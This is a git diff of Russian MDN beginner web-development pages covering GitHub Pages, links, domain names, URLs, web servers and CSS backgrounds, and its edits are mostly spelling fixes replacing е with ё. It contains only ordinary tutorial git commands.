            • Windows: Командная строка (Command Prompt) может быть получена нажатием клавиши Windows, набрав Command Prompt и выбрав её из появившегося списка. Обратите внимание, что Windows имеет свои собственные условные обозначения команд, отличные от Linux и OS X, поэтому приведённые ниже команды могут отличаться на вашем компьютере.
            • OS X: Терминал (Terminal) можно найти в Applications > Utilities.
            • Linux: Обычно вы можете вытащить терминал с помощью Ctrl + Alt + T. Если это не сработает, найдите Terminal в панели приложений или меню.
            @@ -60,14 +60,14 @@ translation_of: Learn/Common_questions/Using_Github_pages
          2. На этой странице в поле Имя репозитория (Repository name) введите имя для своего репозитория, например my-repository.
          3. Также добавьте описание, чтобы сказать, что будет содержать ваш репозиторий. Ваш экран должен выглядеть так:
            4. -
          4. Нажмите Создать репозиторий (Create repository); это приведет вас к следующей странице:
            +
          5. Нажмите Создать репозиторий (Create repository); это приведёт вас к следующей странице:

          Загрузка файлов на GitHub

            -
          1. На текущей странице вас интересует раздел …or push an existing repository from the command line (...или нажмите существующий репозиторий из командной строки). Вы должны увидеть две строки кода, перечисленные в этом разделе. Скопируйте всю первую строку, вставьте ее в командную строку и нажмите Enter. Команда должна выглядеть примерно так: +
          2. На текущей странице вас интересует раздел …or push an existing repository from the command line (...или нажмите существующий репозиторий из командной строки). Вы должны увидеть две строки кода, перечисленные в этом разделе. Скопируйте всю первую строку, вставьте её в командную строку и нажмите Enter. Команда должна выглядеть примерно так: 
            git remote add origin https://github.com/chrisdavidmills/my-repository.git
            3. @@ -78,9 +78,9 @@ git commit -m 'adding my files to my repository'
          3. Наконец, нажмите код до GitHub, перейдя на веб-страницу GitHub, на которой вы находитесь, и введите в терминал вторую из двух команд, которые мы увидели  …or push an existing repository from the command line: 
            git push -u origin master
            4. -
          4. Теперь вам нужно создать ветвь gh-pages вашего repo; обновите текущую страницу и вы увидите страницу репозитория, как показано ниже. Вам нужно нажать кнопку, в которой говорится о Branch: master, введите gh-pages в текстовом вводе, затем нажмите синюю кнопку с надписью Create branch: gh-pages. Это создает специальную ветвь кода, называемую gh-pages, которая публикуется в специальном месте. URL-адрес принимает форму username.github.io/my-repository-name, поэтому в моем примере URL-адрес будет https://chrisdavidmills.github.io/my-repository. Отображаемая страница - это страница index.html.
            +
          5. Теперь вам нужно создать ветвь gh-pages вашего repo; обновите текущую страницу и вы увидите страницу репозитория, как показано ниже. Вам нужно нажать кнопку, в которой говорится о Branch: master, введите gh-pages в текстовом вводе, затем нажмите синюю кнопку с надписью Create branch: gh-pages. Это создаёт специальную ветвь кода, называемую gh-pages, которая публикуется в специальном месте. URL-адрес принимает форму username.github.io/my-repository-name, поэтому в моем примере URL-адрес будет https://chrisdavidmills.github.io/my-repository. Отображаемая страница - это страница index.html.
            6. -
          6. Перейдите на веб-адрес GitHub Pages на новой вкладке браузера, и вы должны увидеть свой сайт онлайн! Отправьте его по электронной почте своим друзьям и продемонстрируйте свое мастерство.
            7. +
          7. Перейдите на веб-адрес GitHub Pages на новой вкладке браузера, и вы должны увидеть свой сайт онлайн! Отправьте его по электронной почте своим друзьям и продемонстрируйте своё мастерство.
          @@ -89,7 +89,7 @@ git commit -m 'adding my files to my repository'

          Дальнейшее знание GitHub

          -

          Если вы хотите сделать больше изменений на своем тестовом сайте и загрузить их на GitHub, вам просто нужно внести изменения в свои файлы, как и раньше. Затем вам нужно ввести следующие команды (нажав Enter после каждого), чтобы вставить эти изменения в GitHub:

          +

          Если вы хотите сделать больше изменений на своём тестовом сайте и загрузить их на GitHub, вам просто нужно внести изменения в свои файлы, как и раньше. Затем вам нужно ввести следующие команды (нажав Enter после каждого), чтобы вставить эти изменения в GitHub:

          git add --all
 git commit -m 'another commit'
diff --git a/files/ru/learn/common_questions/what_are_hyperlinks/index.html b/files/ru/learn/common_questions/what_are_hyperlinks/index.html
index c53a95d6ac..e422ec2bd6 100644
--- a/files/ru/learn/common_questions/what_are_hyperlinks/index.html
+++ b/files/ru/learn/common_questions/what_are_hyperlinks/index.html
@@ -37,11 +37,11 @@ original_slug: Learn/Understanding_links_on_the_web
  
        • {{Glossary("HTML")}}, формат документа, позволяющий встраивать гиперссылки
          • 
 
 
-
          Как вы видите, все в Вебе крутится вокруг документов и способах обеспечения доступа к ним. Первоначальная цель Веба заключалась в предоставлении легкого инструмента доступа к текстовым документам, их чтения и навигации по ним. С тех пор Веб эволюционировал в инструмент обеспечения доступа к изображениям, видео и бинарным данным, но все эти улучшения вряд ли были бы возможны без тех самых трёх китов, о которых говорил Тим. 
          
+
          Как вы видите, все в Вебе крутится вокруг документов и способах обеспечения доступа к ним. Первоначальная цель Веба заключалась в предоставлении лёгкого инструмента доступа к текстовым документам, их чтения и навигации по ним. С тех пор Веб эволюционировал в инструмент обеспечения доступа к изображениям, видео и бинарным данным, но все эти улучшения вряд ли были бы возможны без тех самых трёх китов, о которых говорил Тим. 
          
 
 
          До Веба было весьма сложно получить доступ к документам и перемещаться от одного к другому. Став понятными для пользователя, URL-адреса уже сделали жизнь гораздо проще, но нам довольно сложно было печатать длинный URL каждый раз, когда мы хотели получить документ. Вот тут то гиперссылки и совершили революцию. Ссылка может связать любой текст с URL, так что пользователь может моментально достигнуть цели всего лишь активируя ссылку.
          
 
-
          По умолчанию голубого цвета и подчёркнутые, ссылки выделяются из общего текста. Кликните на ссылку, чтобы активировать ее, или, если вы используете клавиатуру, перейдите на ссылку при помощи Tab и нажмите Enter.
          
+
          По умолчанию голубого цвета и подчёркнутые, ссылки выделяются из общего текста. Кликните на ссылку, чтобы активировать её, или, если вы используете клавиатуру, перейдите на ссылку при помощи Tab и нажмите Enter.
          
 
 
          Example of a basic display and effect of a link in a web page
          
 
@@ -53,7 +53,7 @@ original_slug: Learn/Understanding_links_on_the_web
 
 
          Глубокое погружение
          
 
-
          Как мы определили, ссылка —  это строка, которая связана с URL. Мы используем ссылки, чтобы с легкостью перепрыгивать с одного документа на другой. Здесь существуют некоторые нюансы, которые важно рассмотреть: 
          
+
          Как мы определили, ссылка —  это строка, которая связана с URL. Мы используем ссылки, чтобы с лёгкостью перепрыгивать с одного документа на другой. Здесь существуют некоторые нюансы, которые важно рассмотреть: 
          
 
 
          Типы ссылок
          
 
@@ -66,7 +66,7 @@ original_slug: Learn/Understanding_links_on_the_web
  
          Ссылка с чьей-либо веб-страницы на ваш сайт. Это внешняя ссылка наоборот. Имейте в виду, что вам не обязательно отвечать тем же кому-то, кто ссылается на ваш сайт.
          
 
 
-
          Когда вы создаёте веб-сайт, фокусируйтесь на внутренних ссылках, так как они делают ваш сайт возможным и удобным для использования. Найдите нужный баланс между большим и недостаточным количеством ссылок. Мы поговорим о дизайне навигации сайта в другой статье, но в качестве правила, каждый раз когда вы создаете веб-страницу, убедитесь, что хотя бы одна из ваших страниц ссылается на неё. С другой стороны, если на вашем сайте более чем десять страниц, добиваться того, чтобы каждая страница ссылалась друг на друга, может быть весьма контрпродуктивно. 
          
+
          Когда вы создаёте веб-сайт, фокусируйтесь на внутренних ссылках, так как они делают ваш сайт возможным и удобным для использования. Найдите нужный баланс между большим и недостаточным количеством ссылок. Мы поговорим о дизайне навигации сайта в другой статье, но в качестве правила, каждый раз когда вы создаёте веб-страницу, убедитесь, что хотя бы одна из ваших страниц ссылается на неё. С другой стороны, если на вашем сайте более чем десять страниц, добиваться того, чтобы каждая страница ссылалась друг на друга, может быть весьма контрпродуктивно. 
          
 
 
          Когда вы начинаете, вам не имеет смысла сильно волноваться о наличии внешних и входящих ссылок, но они важны, если вы хотите, чтобы поисковые системы находили ваш сайт. (См. более детальное объяснение ниже.)
          
 
diff --git a/files/ru/learn/common_questions/what_is_a_domain_name/index.html b/files/ru/learn/common_questions/what_is_a_domain_name/index.html
index f60b9b53cf..2d77b02fcd 100644
--- a/files/ru/learn/common_questions/what_is_a_domain_name/index.html
+++ b/files/ru/learn/common_questions/what_is_a_domain_name/index.html
@@ -31,7 +31,7 @@ original_slug: Learn/Understanding_domain_names
 
 
          Доменные имена - ключевая составляющая инфраструктуры Интернета. Они предоставляют человеко-читаемые адреса веб-серверов, доступных в Интернете.
          
 
-
          Каждый компьютер подключен к Интернету и может быть доступен через публичный {{Glossary("IP")}}-адрес, который состоит из 32 бит для IPv4 адреса (такие адреса обычно записываются в виде четырёх чисел от 0 до 255, разделённых точками (напр.., 173.194.121.32) или 128 bit для IPv6 адреса (они обычно записываются в виде 8 групп по 4 шестнадцатеричных чисел, разделенных двоеточиями (напр., 2027:0da8:8b73:0000:0000:8a2e:0370:1337). Компьютеры могут легко обрабатывать эти адреса , но у живых людей уходит слишком много времени на использование таких адресов. IP-адреса также сложно запоминаются и часто меняются со временем. Для решения этой проблемы в Интернете используются человеко-читаемые адреса, называемые доменными именами.
          
+
          Каждый компьютер подключён к Интернету и может быть доступен через публичный {{Glossary("IP")}}-адрес, который состоит из 32 бит для IPv4 адреса (такие адреса обычно записываются в виде четырёх чисел от 0 до 255, разделённых точками (напр.., 173.194.121.32) или 128 bit для IPv6 адреса (они обычно записываются в виде 8 групп по 4 шестнадцатеричных чисел, разделённых двоеточиями (напр., 2027:0da8:8b73:0000:0000:8a2e:0370:1337). Компьютеры могут легко обрабатывать эти адреса , но у живых людей уходит слишком много времени на использование таких адресов. IP-адреса также сложно запоминаются и часто меняются со временем. Для решения этой проблемы в Интернете используются человеко-читаемые адреса, называемые доменными именами.
          
 
 
          Активно изучаем
          
 
@@ -41,7 +41,7 @@ original_slug: Learn/Understanding_domain_names
 
 
          Структура доменных имён
          
 
-
          Доменное имя имеет простую структуру, состоящую из нескольких частей (частей может быть бесконечное количество, но на практике число уровней обычно невелико), разделенных точками и читаемых справа налево:
          
+
          Доменное имя имеет простую структуру, состоящую из нескольких частей (частей может быть бесконечное количество, но на практике число уровней обычно невелико), разделённых точками и читаемых справа налево:
          
 
 
          Anatomy of the MDN domain name
          
 
@@ -126,7 +126,7 @@ NOT FOUND
 
 
          Обновление DNS
          
 
-
          Базы данных DNS хранятся на каждом DNS-сервере по всему миру и эти серверы обращаются за обновлениями к нескольким серверам, называемым “authoritative name server” или “корневой DNS-сервер”. Когда ваш регистратор создаёт или обновляет информацию о зарегистрированном домене, она должна обновиться во всех DNS-базах. Каждый DNS-сервер хранит информацию о домене фиксированное количество времени, а затем автоматически обновляет её (DNS-сервер запрашивает корневой сервер снова). Соответственно, обновление баз занимает какое-то время, пока информация о новых или измененных доменах распространяется по Интернету.
          
+
          Базы данных DNS хранятся на каждом DNS-сервере по всему миру и эти серверы обращаются за обновлениями к нескольким серверам, называемым “authoritative name server” или “корневой DNS-сервер”. Когда ваш регистратор создаёт или обновляет информацию о зарегистрированном домене, она должна обновиться во всех DNS-базах. Каждый DNS-сервер хранит информацию о домене фиксированное количество времени, а затем автоматически обновляет её (DNS-сервер запрашивает корневой сервер снова). Соответственно, обновление баз занимает какое-то время, пока информация о новых или изменённых доменах распространяется по Интернету.
          
 
 
          
 
          Примечание: Это время часто называется время распространения. Тем не менее эта задержка не означает, что за это время доменное имя обновит само себя на всех серверах сверху донизу. Очень часто DNS-сервер, запрашиваемый вашим компьютером не знает конкретного домена и запрашивает о нём корневые DNS-сервера по мере требования.
          
@@ -134,7 +134,7 @@ NOT FOUND
 
 
          Как работает DNS-запрос?
          
 
-
          Как мы уже увидели, когда вы хотите, чтобы веб-страница отобразилась в вашем браузере, легче напечатать доменное имя, чем IP-адрес. Давайте разберем весь процесс:
          
+
          Как мы уже увидели, когда вы хотите, чтобы веб-страница отобразилась в вашем браузере, легче напечатать доменное имя, чем IP-адрес. Давайте разберём весь процесс:
          
 
 
            
  
          1. Напечатайте mozilla.org в адресной строке вашего браузера.
            2. 
diff --git a/files/ru/learn/common_questions/what_is_a_url/index.html b/files/ru/learn/common_questions/what_is_a_url/index.html
index 5c9716f463..dfa4941a67 100644
--- a/files/ru/learn/common_questions/what_is_a_url/index.html
+++ b/files/ru/learn/common_questions/what_is_a_url/index.html
@@ -33,7 +33,7 @@ original_slug: Learn/Understanding_URLs
 
 
            Наряду с понятиями гипертекста и протокола HTTP, понятие URL является одной из основных концепций Всемирной паутины. Это механизм, используемый браузерами для получения любого опубликованного во Всемирной сети ресурса.
            
 
-
            URL обозначает Uniform Resource Locator. URL это лишь адрес, который выдан уникальному ресурсу в интернете. В теории, каждый корректный URL ведет на уникальный ресурс. Такими ресурсами могут быть HTML-страница, CSS-файл, изображение и т.д. На практике, существуют некоторые исключения, когда, например, URL ведет на ресурс, который больше не существует или который был перемещён. Поскольку ресурс, доступный по URL, а также сам URL обрабатываются веб-сервером, его владелец должен внимательно следить за размещаемыми ресурсами и связанными с ними URL.
            
+
            URL обозначает Uniform Resource Locator. URL это лишь адрес, который выдан уникальному ресурсу в интернете. В теории, каждый корректный URL ведёт на уникальный ресурс. Такими ресурсами могут быть HTML-страница, CSS-файл, изображение и т.д. На практике, существуют некоторые исключения, когда, например, URL ведёт на ресурс, который больше не существует или который был перемещён. Поскольку ресурс, доступный по URL, а также сам URL обрабатываются веб-сервером, его владелец должен внимательно следить за размещаемыми ресурсами и связанными с ними URL.
            
 
 
            Активное обучение
            
 
@@ -101,7 +101,7 @@ https://developer.mozilla.org/ru/search?q=URL

          Когда URL используется в документе, например в HTML-странице, ситуация отличается. Потому что браузер уже знает URL текущего документа и он может использовать эти сведения для дополнения недостающих частей любого адреса, указанного в документе. Простейший пример относительного URL - указание только адресной части URL. А если адрес в URL начинается с символа "/", браузер запросит ресурс от корня сервера, без отсылки к контексту текущего документа.

          -

          Разберем это на примерах.

          +

          Разберём это на примерах.

          Примеры абсолютных URL

          @@ -139,7 +139,7 @@ https://developer.mozilla.org/ru/search?q=URL 
          ../CSS/display
          -

          В этом случае, мы используем команду ../  — унаследованную из файловой системы UNIX — чтобы сказать браузеру, что он должен подняться на 1 директорию вверх. Соответственно, здесь мы хотим открыть URL: https://developer.mozilla.org/ru/docs/Learn/../CSS/display, который может быть упрощен до вида: https://developer.mozilla.org/ru/docs/CSS/display

          +

          В этом случае, мы используем команду ../  — унаследованную из файловой системы UNIX — чтобы сказать браузеру, что он должен подняться на 1 директорию вверх. Соответственно, здесь мы хотим открыть URL: https://developer.mozilla.org/ru/docs/Learn/../CSS/display, который может быть упрощён до вида: https://developer.mozilla.org/ru/docs/CSS/display

          @@ -158,5 +158,5 @@ https://developer.mozilla.org/ru/search?q=URL

          Следующие шаги

          diff --git a/files/ru/learn/common_questions/what_is_a_web_server/index.html b/files/ru/learn/common_questions/what_is_a_web_server/index.html index f2586aff5a..aedb2fffec 100644 --- a/files/ru/learn/common_questions/what_is_a_web_server/index.html +++ b/files/ru/learn/common_questions/what_is_a_web_server/index.html @@ -34,17 +34,17 @@ original_slug: Learn/Что_такое_веб_сервер

          Понятие «веб-сервер» может относиться как к аппаратной начинке, так и к программному обеспечению. Или даже к обеим частям, работающим совместно.

            -
          1. С точки зрения "железа", «веб-сервер» — это компьютер, который хранит файлы сайта (HTML-документы, CSS-стили, JavaScript-файлы, картинки и другие) и доставляет их на устройство конечного пользователя (веб-браузер и т.д.). Он подключен к сети Интернет и может быть доступен через доменное имя, подобное mozilla.org.
            2. -
          2. С точки зрения ПО, веб-сервер включает в себя несколько компонентов, которые контролируют доступ веб-пользователей к размещенным на сервере файлам, как минимум — это HTTP-сервер. HTTP-сервер — это часть ПО, которая понимает {{Glossary("URL","URL-адреса")}} (веб-адреса) и {{Glossary("HTTP")}} (протокол, который ваш браузер использует для просмотра веб-страниц).
            3. +
          3. С точки зрения "железа", «веб-сервер» — это компьютер, который хранит файлы сайта (HTML-документы, CSS-стили, JavaScript-файлы, картинки и другие) и доставляет их на устройство конечного пользователя (веб-браузер и т.д.). Он подключён к сети Интернет и может быть доступен через доменное имя, подобное mozilla.org.
            4. +
          4. С точки зрения ПО, веб-сервер включает в себя несколько компонентов, которые контролируют доступ веб-пользователей к размещённым на сервере файлам, как минимум — это HTTP-сервер. HTTP-сервер — это часть ПО, которая понимает {{Glossary("URL","URL-адреса")}} (веб-адреса) и {{Glossary("HTTP")}} (протокол, который ваш браузер использует для просмотра веб-страниц).
          -

          На самом базовом уровне, когда браузеру нужен файл, размещенный на веб-сервере, браузер запрашивает его через HTTP-протокол. Когда запрос достигает нужного веб-сервера ("железо"), сервер HTTP (ПО) принимает запрос, находит запрашиваемый документ (если нет, то сообщает об ошибке 404) и отправляет обратно, также через HTTP.

          +

          На самом базовом уровне, когда браузеру нужен файл, размещённый на веб-сервере, браузер запрашивает его через HTTP-протокол. Когда запрос достигает нужного веб-сервера ("железо"), сервер HTTP (ПО) принимает запрос, находит запрашиваемый документ (если нет, то сообщает об ошибке 404) и отправляет обратно, также через HTTP.

          Basic representation of a client/server connection through HTTP

          Чтобы опубликовать веб-сайт, необходим либо статический, либо динамический веб-сервер.

          -

          Статический веб-сервер, или стек, состоит из компьютера ("железо") с сервером HTTP (ПО). Мы называем это «статикой», потому что сервер посылает размещенные файлы в браузер «как есть».

          +

          Статический веб-сервер, или стек, состоит из компьютера ("железо") с сервером HTTP (ПО). Мы называем это «статикой», потому что сервер посылает размещённые файлы в браузер «как есть».

          Динамический веб-сервер состоит из статического веб-сервера и дополнительного программного обеспечения, чаще всего сервера приложения и базы данных. Мы называем его «динамическим», потому что сервер приложений изменяет исходные файлы перед отправкой в ваш браузер по HTTP.

          @@ -56,17 +56,17 @@ original_slug: Learn/Что_такое_веб_сервер

          Погружаемся глубже

          -

          Чтобы загрузить веб-страницу, как мы уже говорили, ваш браузер отправляет запрос к веб-серверу, который приступает к поиску запрашиваемого файла в своем собственном пространстве памяти. Найдя файл, сервер считывает его, обрабатывает как ему это необходимо, и отсылает в браузер. Давайте рассмотрим эти шаги более подробно.

          +

          Чтобы загрузить веб-страницу, как мы уже говорили, ваш браузер отправляет запрос к веб-серверу, который приступает к поиску запрашиваемого файла в своём собственном пространстве памяти. Найдя файл, сервер считывает его, обрабатывает как ему это необходимо, и отсылает в браузер. Давайте рассмотрим эти шаги более подробно.

          Хостинг файлов

          Прежде всего, веб-сервер должен содержать файлы веб-сайта, а именно все HTML-документы и связанные с ними ресурсы, включая изображения, CSS-стили, JavaScript-файлы, шрифты и видео.

          -

          Технически, вы можете разместить все эти файлы на своем компьютере, но гораздо удобнее хранить их на выделенном веб-сервере, который:

          +

          Технически, вы можете разместить все эти файлы на своём компьютере, но гораздо удобнее хранить их на выделенном веб-сервере, который:

          • всегда запущен и работает
            • -
          • всегда подключен к Интернету
            • +
          • всегда подключён к Интернету
          • имеет неизменный IP адрес (не все {{Glossary("ISP", "провайдеры")}} предоставляют статический IP-адрес для домашнего подключения)
          • обслуживается третьей, сторонней компанией
          @@ -85,10 +85,10 @@ original_slug: Learn/Что_такое_веб_сервер
          Текстовый
          Все команды являются простым человекочитаемым текстом.
          Не сохраняет состояние
          -
          Ни клиент, ни сервер не помнят о предыдущих соединениях. Например, опираясь только на HTTP, сервер не сможет вспомнить введенный вами пароль или на каком шаге транзакции вы находитесь. Для таких задач, вам потребуется сервер приложения. (Мы остановимся на этих технологиях в следующих статьях.)
          +
          Ни клиент, ни сервер не помнят о предыдущих соединениях. Например, опираясь только на HTTP, сервер не сможет вспомнить введённый вами пароль или на каком шаге транзакции вы находитесь. Для таких задач, вам потребуется сервер приложения. (Мы остановимся на этих технологиях в следующих статьях.)
          -

          HTTP задает строгие правила взаимодействия клиента и сервера. Мы рассмотрим сам протокол HTTP в технической статье немного позднее. Пока достаточно знать об этих правилах:

          +

          HTTP задаёт строгие правила взаимодействия клиента и сервера. Мы рассмотрим сам протокол HTTP в технической статье немного позднее. Пока достаточно знать об этих правилах:

          • Исключительно клиенты могут производить HTTP-запросы, и только на сервера. Сервера способны только отвечать на HTTP-запросы клиента.
            • @@ -106,13 +106,13 @@ original_slug: Learn/Что_такое_веб_сервер

            Статический и Динамический контент

            -

            Грубо говоря, сервер может отдавать статическое или динамическое содержимое. «Статическое» означает «отдается как есть». Статические веб-сайты делаются проще всего, поэтому мы предлагаем вам сделать свой первый сайт статическим.

            +

            Грубо говоря, сервер может отдавать статическое или динамическое содержимое. «Статическое» означает «отдаётся как есть». Статические веб-сайты делаются проще всего, поэтому мы предлагаем вам сделать свой первый сайт статическим.

            «Динамическое» означает, что сервер обрабатывает данные или даже генерирует их на лету из базы данных. Это обеспечивает большую гибкость, но технически сложнее в реализации и обслуживании, из-за чего процесс создания сайта очень сильно усложняется.

            -

            Возьмем для примера страницу, которую вы сейчас читаете. На веб-сервере, где она хостится, есть сервер приложения, который извлекает содержимое статьи из базы данных, форматирует его, добавляет в HTML-шаблоны и отправляет вам результат. В нашем случае, сервер приложения называется Kuma, написан он на языке программирования Python (используя фреймворк Django). Команда Mozilla создала Kuma для конкретных нужд MDN, но есть множество подобных приложений, построенных совершенно на других технологиях.

            +

            Возьмём для примера страницу, которую вы сейчас читаете. На веб-сервере, где она хостится, есть сервер приложения, который извлекает содержимое статьи из базы данных, форматирует его, добавляет в HTML-шаблоны и отправляет вам результат. В нашем случае, сервер приложения называется Kuma, написан он на языке программирования Python (используя фреймворк Django). Команда Mozilla создала Kuma для конкретных нужд MDN, но есть множество подобных приложений, построенных совершенно на других технологиях.

            -

            Существует так много серверов приложений, что довольно трудно предложить какой-то один. Некоторые серверы приложений заточены под определенные категории веб-сайтов, такие как блоги, вики-страницы или интернет-магазины; другие, называемые {{Glossary("CMS", "CMSs")}} (системы управления контентом), более универсальны. Если вы создаете динамический сайт, потратьте немного времени на выбор инструмента, который соответствует вашим потребностям. Если вы не хотите изучать веб-программирование (хотя это увлекательно само по себе!), то вам не нужно создавать свой собственный сервер приложения. Это будет изобретением очередного велосипеда.

            +

            Существует так много серверов приложений, что довольно трудно предложить какой-то один. Некоторые серверы приложений заточены под определённые категории веб-сайтов, такие как блоги, вики-страницы или интернет-магазины; другие, называемые {{Glossary("CMS", "CMSs")}} (системы управления контентом), более универсальны. Если вы создаёте динамический сайт, потратьте немного времени на выбор инструмента, который соответствует вашим потребностям. Если вы не хотите изучать веб-программирование (хотя это увлекательно само по себе!), то вам не нужно создавать свой собственный сервер приложения. Это будет изобретением очередного велосипеда.

            Следующие шаги

            diff --git a/files/ru/learn/common_questions/what_software_do_i_need/index.html b/files/ru/learn/common_questions/what_software_do_i_need/index.html index bb0e3e1b5e..9dcefce216 100644 --- a/files/ru/learn/common_questions/what_software_do_i_need/index.html +++ b/files/ru/learn/common_questions/what_software_do_i_need/index.html @@ -34,7 +34,7 @@ translation_of: Learn/Common_questions/What_software_do_I_need

            Создание и редактирование веб-страниц

            -

            Для создания и редактирования веб-страниц необходим текстовый редактор. Тестовые редакторы создают и изменяют неотформатированные текстовые файлы. (Другие форматы, такие как {{Glossary("RTF")}}, позволяют добавить форматирование, такое как полужирное или подчеркивание. Эти форматы не подходят для написания веб-страниц.) Вам следует выбирать текстовый редактор с умом, так как вы будете активно работать с ним, при создании веб-сайта.

            +

            Для создания и редактирования веб-страниц необходим текстовый редактор. Тестовые редакторы создают и изменяют неотформатированные текстовые файлы. (Другие форматы, такие как {{Glossary("RTF")}}, позволяют добавить форматирование, такое как полужирное или подчёркивание. Эти форматы не подходят для написания веб-страниц.) Вам следует выбирать текстовый редактор с умом, так как вы будете активно работать с ним, при создании веб-сайта.

            Все настольные операционные системы поставляются с основным текстовым редактором. Они просты, но не имеют специальных возможностей для кодирования веб-страниц. Если вы хотите что-то более интересное, то доступно много сторонних инструментов. Сторонние редакторы часто поставляются с дополнительными функциями, включая подсветку синтаксиса, автозавершение, сворачиваемые блоки кода и поиск кода. Вот краткий список редакторов:

            @@ -97,7 +97,7 @@ translation_of: Learn/Common_questions/What_software_do_I_need

            Загрузка файлов в Интернете

            -

            Когда ваш сайт будет готов для публичного просмотра, вам придется загрузить свои веб-страницы на веб-сервер. Вы можете купить место на сервере у различных провайдеров (см. Сколько стоит делать что-то в Интернете?). После того, как вы решите, какого провайдера использовать, провайдер отправит вам по электронной почте информацию о доступе к протоколу FTP (протокол передачи файлов).  Загрузка файлов на веб-сервер является важным шагом при создании сайта, поэтому мы подробно расскажем об этом в отдельной статье. А сейчас, вот краткий список бесплатных базовых FTP-клиентов:

            +

            Когда ваш сайт будет готов для публичного просмотра, вам придётся загрузить свои веб-страницы на веб-сервер. Вы можете купить место на сервере у различных провайдеров (см. Сколько стоит делать что-то в Интернете?). После того, как вы решите, какого провайдера использовать, провайдер отправит вам по электронной почте информацию о доступе к протоколу FTP (протокол передачи файлов).  Загрузка файлов на веб-сервер является важным шагом при создании сайта, поэтому мы подробно расскажем об этом в отдельной статье. А сейчас, вот краткий список бесплатных базовых FTP-клиентов:

        @@ -139,11 +139,11 @@ translation_of: Learn/Common_questions/What_software_do_I_need
      • Apple Safari
        • -

        Если вы ориентируетесь на определенную группу (например, техническую платформу или страну), возможно, вам придется протестировать ваш сайт с помощью дополнительных браузеров, таких как Opera, Konqueror, или UC Browser.

        +

        Если вы ориентируетесь на определённую группу (например, техническую платформу или страну), возможно, вам придётся протестировать ваш сайт с помощью дополнительных браузеров, таких как Opera, Konqueror, или UC Browser.

        -

        Но тестирование усложняется, потому что некоторые браузеры работают только в определенных операционных системах. Apple Safari работает на iOS и Mac OS, а Internet Explorer работает только в Windows. Поэтому лучше воспользоваться такими сервисами, как Browsershots или Browserstack. Browsershots предоставляет скриншоты вашего сайта, того как ваш сайт будет выглядеть в различных браузерах. Browserstack фактически предоставляет вам полный удаленный доступ к виртуальным машинам, поэтому вы можете протестировать ваш сайт в наиболее распространенных средах. Кроме того, вы можете настроить свою собственную виртуальную машину, но это требует некоторого опыта. (Если вы следуете этому пути, Microsoft имеет инструменты для разработчиков, включая готовую к использованию виртуальную машину на modern.ie.)

        +

        Но тестирование усложняется, потому что некоторые браузеры работают только в определённых операционных системах. Apple Safari работает на iOS и Mac OS, а Internet Explorer работает только в Windows. Поэтому лучше воспользоваться такими сервисами, как Browsershots или Browserstack. Browsershots предоставляет скриншоты вашего сайта, того как ваш сайт будет выглядеть в различных браузерах. Browserstack фактически предоставляет вам полный удалённый доступ к виртуальным машинам, поэтому вы можете протестировать ваш сайт в наиболее распространённых средах. Кроме того, вы можете настроить свою собственную виртуальную машину, но это требует некоторого опыта. (Если вы следуете этому пути, Microsoft имеет инструменты для разработчиков, включая готовую к использованию виртуальную машину на modern.ie.)

        -

        Обязательно проведите тестирование на реальном устройстве, особенно на реальных мобильных устройствах. Симуляция мобильных устройств - это новая, развивающаяся технология и менее надежна, чем симуляция настольных устройств. Разумеется, мобильные устройства стоят денег, поэтому мы предлагаем взглянуть на  Open Device Lab initiative. Вы также можете обмениваться устройствами, если вы хотите протестировать на многих платформах, не тратя слишком много.

        +

        Обязательно проведите тестирование на реальном устройстве, особенно на реальных мобильных устройствах. Симуляция мобильных устройств - это новая, развивающаяся технология и менее надёжна, чем симуляция настольных устройств. Разумеется, мобильные устройства стоят денег, поэтому мы предлагаем взглянуть на  Open Device Lab initiative. Вы также можете обмениваться устройствами, если вы хотите протестировать на многих платформах, не тратя слишком много.

        Следующие шаги

        diff --git a/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html b/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html index c7c6b3549e..71587be09c 100644 --- a/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html +++ b/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html @@ -15,7 +15,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders ---
        {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}
        -

        В этом уроке мы рассмотрим некоторые интересные возможности, которые вы можете сделать с помощью CSS свойств фона и границ . Благодаря добавлению градиентов, фоновых изображений и закругленных углов свойства фона и границ ответят на многие вопросы стилизации в CSS.

        +

        В этом уроке мы рассмотрим некоторые интересные возможности, которые вы можете сделать с помощью CSS свойств фона и границ . Благодаря добавлению градиентов, фоновых изображений и закруглённых углов свойства фона и границ ответят на многие вопросы стилизации в CSS.

        @@ -40,13 +40,13 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders } -

        Мы вернемся к тому, как работает сокращение позже, а пока давайте взглянем на различные вещи, которые вы можете делать с фоном в CSS, посмотрев на отдельные свойства background.

        +

        Мы вернёмся к тому, как работает сокращение позже, а пока давайте взглянем на различные вещи, которые вы можете делать с фоном в CSS, посмотрев на отдельные свойства background.

        Фоновый цвет

        Свойство {{cssxref ("background-color")}} определяет цвет фона для любого элемента в CSS. Свойство принимает любой допустимый цвет <color>. background-color распространяется на сам контент и отступы от него (padding).

        -

        В приведенном ниже примере мы использовали различные значения цвета, чтобы добавить цвет фона к блоку, заголовку и элементу {{htmlelement ("span")}}.

        +

        В приведённом ниже примере мы использовали различные значения цвета, чтобы добавить цвет фона к блоку, заголовку и элементу {{htmlelement ("span")}}.

        Поиграйте с ними, используя любое доступное значение <color>.

        @@ -54,14 +54,14 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders

        Фоновое изображение

        -

        Свойство {{cssxref ("background-image")}} позволяет отображать изображение в качестве фона элемента. В приведенном ниже примере у нас есть два блока — в одном фоновое изображение больше, чем размеры блока, а в другом - маленькое изображение звезды.

        +

        Свойство {{cssxref ("background-image")}} позволяет отображать изображение в качестве фона элемента. В приведённом ниже примере у нас есть два блока — в одном фоновое изображение больше, чем размеры блока, а в другом - маленькое изображение звезды.

        Этот пример демонстрирует две особенности фоновых изображений. По умолчанию большое изображение не масштабируется до размера блока, поэтому мы видим только его небольшой угол, в то время как маленькое изображение повторяется, чтобы заполнить весь блок. В нашем случае фактически было использовано изображение одной маленькой звезды.

        {{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 600)}}

        -

